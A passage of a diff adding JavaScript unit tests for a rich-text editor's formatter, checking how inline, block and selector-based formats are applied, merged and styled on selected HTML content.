+});
+
+test('Inline element on partially selected text', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p>1<b>23</b>4</p>', 'Inline element on partially selected text');
+	editor.formatter.toggle('format');
+	equal(getContent(), '<p>1234</p>', 'Toggle ON - NO inline element on partially selected text');
+});
+
+test('Inline element on partially selected text in start/end elements', function() {
+	// Inline element on partially selected text in start/end elements
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p>1234</p><p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('p')[1].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p>1<b>234</b></p><p><b>123</b>4</p>');
+});
+
+test('Inline element on selected element', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>1234</b></p>', 'Inline element on selected element');
+});
+
+test('Inline element on multiple selected elements', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p>1234</p><p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 2);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>1234</b></p><p><b>1234</b></p>', 'Inline element on multiple selected elements');
+});
+
+test('Inline element on multiple selected elements with various childnodes', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p><em>1234</em>5678<span>9</span></p><p><em>1234</em>5678<span>9</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 2);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b><em>1234</em>5678<span>9</span></b></p><p><b><em>1234</em>5678<span>9</span></b></p>', 'Inline element on multiple selected elements with various childnodes');
+});
+
+test('Inline element with attributes', function() {
+	editor.formatter.register('format', {
+		inline: 'b',
+		attributes: {
+			title: 'value1',
+			id: 'value2'
+		}
+	});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b id="value2" title="value1">1234</b></p>', 'Inline element with attributes');
+});
+
+test('Inline element with styles', function() {
+	editor.formatter.register('format', {
+		inline: 'b',
+		styles: {
+			color: '#ff0000',
+			fontSize: '10px'
+		}
+	});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b style=\"color: #ff0000; font-size: 10px;\">1234</b></p>', 'Inline element with styles');
+});
+
+test('Inline element with attributes and styles', function() {
+	editor.formatter.register('format', {
+		inline: 'b',
+		attributes: {
+			title: 'value1',
+			id: 'value2'
+		},
+		styles: {
+			color: '#ff0000',
+			fontSize: '10px'
+		}
+	});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b id="value2" style="color: #ff0000; font-size: 10px;" title="value1">1234</b></p>', 'Inline element with attributes and styles');
+});
+
+test('Inline element with wrapable parents', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p>x<em><span>1234</span></em>y</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('span')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p>x<b><em><span>1234</span></em></b>y</p>', 'Inline element with wrapable parents');
+});
+
+test('Inline element with redundant child', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p><b>1234</b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0], 0);
+	rng.setEnd(editor.dom.select('p')[0], 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>1234</b></p>', 'Inline element with redundant child');
+});
+
+test('Inline element with redundant parent', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p><b>a<em>1234</em>b</b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('em')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('em')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>a<em>1234</em>b</b></p>', 'Inline element with redundant parent');
+});
+
+test('Inline element with redundant child of similar type 1', function() {
+	editor.formatter.register('format', [{
+		inline: 'b'
+	}, {
+		inline: 'strong'
+	}]);
+	editor.getBody().innerHTML = '<p>a<strong>1234</strong>b</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0], 0);
+	rng.setEnd(editor.dom.select('p')[0], 3);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>a1234b</b></p>', 'Inline element with redundant child of similar type 1');
+});
+
+test('Inline element with redundant child of similar type 2', function() {
+	editor.formatter.register('format', [{
+		inline: 'b'
+	}, {
+		inline: 'span',
+		styles: {
+			fontWeight: 'bold'
+		}
+	}]);
+	editor.getBody().innerHTML = '<p><span style="font-weight:bold">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0], 0);
+	rng.setEnd(editor.dom.select('p')[0], 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>1234</b></p>', 'Inline element with redundant child of similar type 2');
+});
+
+test('Inline element with redundant children of similar types', function() {
+	editor.formatter.register('format', [{
+		inline: 'b'
+	}, {
+		inline: 'strong'
+	}, {
+		inline: 'span',
+		styles: {
+			fontWeight: 'bold'
+		}
+	}]);
+	editor.getBody().innerHTML = '<p><span style="font-weight:bold">a<strong>1234</strong><b>5678</b>b</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0], 0);
+	rng.setEnd(editor.dom.select('p')[0], 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>a12345678b</b></p>', 'Inline element with redundant children of similar types');
+});
+
+test('Inline element with redundant parent 1', function() {
+	editor.formatter.register('format', [{
+		inline: 'b'
+	}, {
+		inline: 'strong'
+	}]);
+	editor.getBody().innerHTML = '<p><strong>a<em>1234</em>b</strong></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('em')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('em')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><strong>a<em>1234</em>b</strong></p>', 'Inline element with redundant parent 1');
+});
+
+test('Inline element with redundant parent 2', function() {
+	editor.formatter.register('format', [{
+		inline: 'b'
+	}, {
+		inline: 'span',
+		styles: {
+			fontWeight: 'bold'
+		}
+	}]);
+	editor.getBody().innerHTML = '<p><span style="font-weight:bold">a<em>1234</em>b</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('em')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('em')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><span style="font-weight: bold;">a<em>1234</em>b</span></p>', 'Inline element with redundant parent 2');
+});
+
+test('Inline element with redundant parents of similar types', function() {
+	editor.formatter.register('format', [{
+		inline: 'b'
+	}, {
+		inline: 'strong'
+	}, {
+		inline: 'span',
+		styles: {
+			fontWeight: 'bold'
+		}
+	}]);
+	editor.getBody().innerHTML = '<p><span style="font-weight:bold"><strong><b>a<em>1234</em>b</b></strong></span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('em')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('em')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><span style="font-weight: bold;"><strong><b>a<em>1234</em>b</b></strong></span></p>', 'Inline element with redundant parents of similar types');
+});
+
+test('Inline element merged with parent and child', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p>a<b>12<b>34</b>56</b>b</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('b')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('b')[0].lastChild, 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p>a<b>123456</b>b</p>', 'Inline element merged with parent and child');
+});
+
+test('Inline element merged with child 1', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			fontWeight: 'bold'
+		}
+	});
+	editor.getBody().innerHTML = '<p>a<span style="font-weight:bold">1234</span>b</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><span style="font-weight: bold;">a1234b</span></p>', 'Inline element merged with child 1');
+});
+
+test('Inline element merged with child 2', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			fontWeight: 'bold'
+		}
+	});
+	editor.getBody().innerHTML = '<p>a<span style="font-weight:bold; color:#ff0000">1234</span>b</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><span style=\"font-weight: bold;\">a<span style=\"color: #ff0000;\">1234</span>b</span></p>', 'Inline element merged with child 2');
+});
+
+test('Inline element merged with child 3', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			fontWeight: 'bold'
+		}
+	});
+	editor.getBody().innerHTML = '<p>a<span id="id" style="font-weight:bold">1234</span>b</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><span style=\"font-weight: bold;\">a<span id=\"id\">1234</span>b</span></p>', 'Inline element merged with child 3');
+});
+
+test('Inline element merged with child 3', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			fontWeight: 'bold'
+		},
+		merge: true
+	});
+	editor.getBody().innerHTML = '<p><span style="color:#ff0000">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><span style="color: #ff0000; font-weight: bold;">1234</span></p>', 'Inline element merged with child 3');
+});
+
+test('Inline element merged with child 4', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			color: '#00ff00'
+		}
+	});
+	editor.getBody().innerHTML = '<p><span style="color:#ff0000">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><span style="color: #00ff00;">1234</span></p>', 'Inline element merged with child 4');
+});
+
+test('Inline element with attributes merged with child 1', function() {
+	editor.formatter.register('format', {
+		inline: 'font',
+		attributes: {
+			face: 'arial'
+		},
+		merge: true
+	});
+	editor.getBody().innerHTML = '<p><font size="7">1234</font></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><font face="arial" size="7">1234</font></p>', 'Inline element with attributes merged with child 1');
+});
+
+test('Inline element with attributes merged with child 2', function() {
+	editor.formatter.register('format', {
+		inline: 'font',
+		attributes: {
+			size: '7'
+		}
+	});
+	editor.getBody().innerHTML = '<p>a<font size="7">1234</font>b</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><font size="7">a1234b</font></p>', 'Inline element with attributes merged with child 2');
+});
+
+test('Inline element merged with left sibling', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p><b>1234</b>5678</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].lastChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].lastChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>12345678</b></p>', 'Inline element merged with left sibling');
+});
+
+test('Inline element merged with right sibling', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p>1234<b>5678</b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>12345678</b></p>', 'Inline element merged with right sibling');
+});
+
+test('Inline element merged with left and right siblings', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p><b>12</b>34<b>56</b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].childNodes[1], 0);
+	rng.setEnd(editor.dom.select('p')[0].childNodes[1], 2);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>123456</b></p>', 'Inline element merged with left and right siblings');
+});
+
+test('Don\'t merge siblings with whitespace between 1', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p><b>a</b> b</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].lastChild, 1);
+	rng.setEnd(editor.dom.select('p')[0].lastChild, 2);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>a</b> <b>b</b></p>', 'Don\'t merge siblings with whitespace between 1');
+});
+
+test('Don\'t merge siblings with whitespace between 1', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p>a <b>b</b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>a</b> <b>b</b></p>', 'Don\'t merge siblings with whitespace between 2');
+});
+
+test('Inline element not merged in exact mode', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			color: '#00ff00'
+		},
+		exact: true
+	});
+	editor.getBody().innerHTML = '<p><span style="color:#ff0000">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><span style="color: #00ff00;"><span style="color: #ff0000;">1234</span></span></p>', 'Inline element not merged in exact mode');
+});
+
+test('Inline element merged in exact mode', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			color: '#ff0000'
+		},
+		exact: true
+	});
+	editor.getBody().innerHTML = '<p><span style="color:#ff0000">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><span style="color: #ff0000;">1234</span></p>', 'Inline element merged in exact mode');
+});
+
+test('Deep left branch', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p><em><i><ins>1234</ins></i></em><em>text1</em><em>text2</em></p><p><em>5678</em></p><p>9012</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('ins')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('p')[2].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><em><i><ins>1<b>234</b></ins></i></em><b><em>text1</em><em>text2</em></b></p><p><b><em>5678</em></b></p><p><b>9012</b></p>', 'Deep left branch');
+});
+
+test('Deep right branch', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p>9012</p><p><em>5678</em></p><p><em><i><ins>1234</ins></i></em><em>text1</em><em>text2</em></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('em')[3].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>9012</b></p><p><b><em>5678</em></b></p><p><b><em><i><ins>1234</ins></i></em><em>text1</em></b><em><b>text</b>2</em></p>', 'Deep right branch');
+});
+
+test('Full element text selection on two elements with a table in the middle', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.getBody().innerHTML = '<p>1234</p><table><tbody><tr><td>123</td></tr></tbody></table><p>5678</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[1].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>1234</b></p><table><tbody><tr><td><b>123</b></td></tr></tbody></table><p><b>5678</b></p>', 'Full element text selection on two elements with a table in the middle');
+});
+
+test('Inline element on selected text with variables', function() {
+	editor.formatter.register('format', {
+		inline: 'b',
+		styles: {
+			color: '%color'
+		},
+		attributes: {
+			title: '%title'
+		}
+	}, {
+		color: '#ff0000',
+		title: 'title'
+	});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format', {
+		color: '#ff0000',
+		title: 'title'
+	});
+	equal(getContent(), '<p><b style="color: #ff0000;" title="title">1234</b></p>', 'Inline element on selected text');
+});
+
+test('Remove redundant children', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			fontFamily: 'arial'
+		}
+	});
+	editor.getBody().innerHTML = '<p><span style="font-family: sans-serif;"><span style="font-family: palatino;">1</span>2<span style="font-family: verdana;">3</span>4</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0], 0);
+	rng.setEnd(editor.dom.select('p')[0], 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><span style=\"font-family: ' + Utils.fontFace('arial') + ';\">1234</span></p>', 'Remove redundant children');
+});
+
+test('Inline element on selected text with function values', function() {
+	editor.formatter.register('format', {
+		inline: 'b',
+		styles: {
+			color: function(vars) {
+				return vars.color + '00ff';
+			}
+		},
+		attributes: {
+			title: function(vars) {
+				return vars.title + '2';
+			}
+		}
+	});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format', {
+		color: '#ff',
+		title: 'title'
+	});
+	equal(getContent(), '<p><b style="color: #ff00ff;" title="title2">1234</b></p>', 'Inline element on selected text with function values');
+});
+
+test('Block element on selected text', function() {
+	editor.formatter.register('format', {
+		block: 'div'
+	});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<div>1234</div>', 'Block element on selected text');
+});
+
+test('Block element on partially selected text', function() {
+	editor.formatter.register('format', {
+		block: 'div'
+	});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<div>1234</div>', 'Block element on partially selected text');
+});
+
+test('Block element on selected element', function() {
+	editor.formatter.register('format', {
+		block: 'div'
+	});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<div>1234</div>', 'Block element on selected element');
+});
+
+test('Block element on selected elements', function() {
+	editor.formatter.register('format', {
+		block: 'div'
+	});
+	editor.getBody().innerHTML = '<p>1234</p><p>5678</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 2);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<div>1234</div><div>5678</div>', 'Block element on selected elements');
+});
+
+test('Block element on selected elements with attributes', function() {
+	editor.formatter.register('format', {
+		block: 'div',
+		attributes: {
+			'title': 'test'
+		}
+	});
+	editor.getBody().innerHTML = '<p>1234</p><p>5678</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 2);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<div title="test">1234</div><div title="test">5678</div>', 'Block element on selected elements with attributes');
+});
+
+test('Block element on nested element', function() {
+	editor.formatter.register('format', {
+		block: 'p'
+	});
+	editor.getBody().innerHTML = '<div><h1>1234</h1></div>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('h1')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('h1')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<div><p>1234</p></div>', 'Block element on nested element');
+});
+
+test('Block element on selected non wrapped text 1', function() {
+	editor.formatter.register('format', {
+		block: 'div'
+	});
+	editor.getBody().innerHTML = '1234';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<div>1234</div>', 'Block element on selected non wrapped text 1');
+});
+
+test('Block element on selected non wrapped text 2', function() {
+	editor.formatter.register('format', {
+		block: 'div'
+	});
+	editor.getBody().innerHTML = '1234<br />4567<br />8910';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 0);
+	rng.setEnd(editor.getBody().lastChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<div>1234</div><div>4567</div><div>8910</div>', 'Block element on selected non wrapped text 2');
+});
+
+test('Block element on selected non wrapped text 3', function() {
+	editor.formatter.register('format', {
+		block: 'div'
+	});
+	editor.getBody().innerHTML = '<br />1234<br /><br />4567<br />8910<br />';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 7);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<div>1234</div><div>4567</div><div>8910</div>', 'Block element on selected non wrapped text 3');
+});
+
+test('Block element wrapper 1', function() {
+	editor.formatter.register('format', {
+		block: 'blockquote',
+		wrapper: 1
+	});
+	editor.getBody().innerHTML = '<h1>1234</h1><p>5678</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('h1')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<blockquote><h1>1234</h1><p>5678</p></blockquote>', 'Block element wrapper 1');
+});
+
+test('Block element wrapper 2', function() {
+	editor.formatter.register('format', {
+		block: 'blockquote',
+		wrapper: 1
+	});
+	editor.getBody().innerHTML = '<h1>1234</h1>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('h1')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('h1')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<blockquote><h1>1234</h1></blockquote>', 'Block element wrapper 2');
+});
+
+test('Block element wrapper 3', function() {
+	editor.formatter.register('format', {
+		block: 'blockquote',
+		wrapper: 1
+	});
+	editor.getBody().innerHTML = '<br /><h1>1234</h1><br />';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 3);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<blockquote><h1>1234</h1></blockquote>', 'Block element wrapper 3');
+});
+
+test('Apply format on single element that matches a selector 1', function() {
+	editor.formatter.register('format', {
+		selector: 'p',
+		attributes: {
+			title: 'test'
+		},
+		styles: {
+			'color': '#ff0000'
+		},
+		classes: 'a b c'
+	});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p class="a b c" style="color: #ff0000;" title="test">1234</p>', 'Apply format on single element that matches a selector');
+});
+
+test('Apply format on single element parent that matches a selector 2', function() {
+	editor.formatter.register('format', {
+		selector: 'div',
+		attributes: {
+			title: 'test'
+		},
+		styles: {
+			'color': '#ff0000'
+		},
+		classes: 'a b c'
+	});
+	editor.getBody().innerHTML = '<div><p>1234</p><p>test</p><p>1234</p></div>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('div')[0], 1);
+	rng.setEnd(editor.dom.select('div')[0], 2);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<div class="a b c" style="color: #ff0000;" title="test"><p>1234</p><p>test</p><p>1234</p></div>', 'Apply format on single element parent that matches a selector');
+});
+
+test('Apply format on multiple elements that matches a selector 2', function() {
+	editor.formatter.register('format', {
+		selector: 'p',
+		attributes: {
+			title: 'test'
+		},
+		styles: {
+			'color': '#ff0000'
+		},
+		classes: 'a b c'
+	});
+	editor.getBody().innerHTML = '<p>1234</p><div>test</div><p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[1].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p class="a b c" style="color: #ff0000;" title="test">1234</p><div>test</div><p class="a b c" style="color: #ff0000;" title="test">1234</p>', 'Apply format on multiple elements that matches a selector');
+});
+
+test('Apply format on top of existing selector element', function() {
+	editor.formatter.register('format', {
+		selector: 'p',
+		attributes: {
+			title: 'test2'
+		},
+		styles: {
+			'color': '#00ff00'
+		},
+		classes: 'a b c'
+	});
+	editor.getBody().innerHTML = '<p class=\"c d\" title=\"test\">1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p class="c d a b" style="color: #00ff00;" title="test2">1234</p>', 'Apply format on top of existing selector element');
+});
+
+test('Format on single li that matches a selector', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		selector: 'li',
+		attributes: {
+			title: 'test'
+		},
+		styles: {
+			'color': '#ff0000'
+		},
+		classes: 'a b c'
+	});
+	editor.getBody().innerHTML = '<div>text</div>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('div')[0], 0);
+	rng.setEnd(editor.dom.select('div')[0], 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<div><span class="a b c" style="color: #ff0000;" title="test">text</span></div>', 'Apply format on single element that matches a selector');
+});
+
+test('Format on single div that matches a selector', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		selector: 'div',
+		attributes: {
+			title: 'test'
+		},
+		styles: {
+			'color': '#ff0000'
+		},
+		classes: 'a b c'
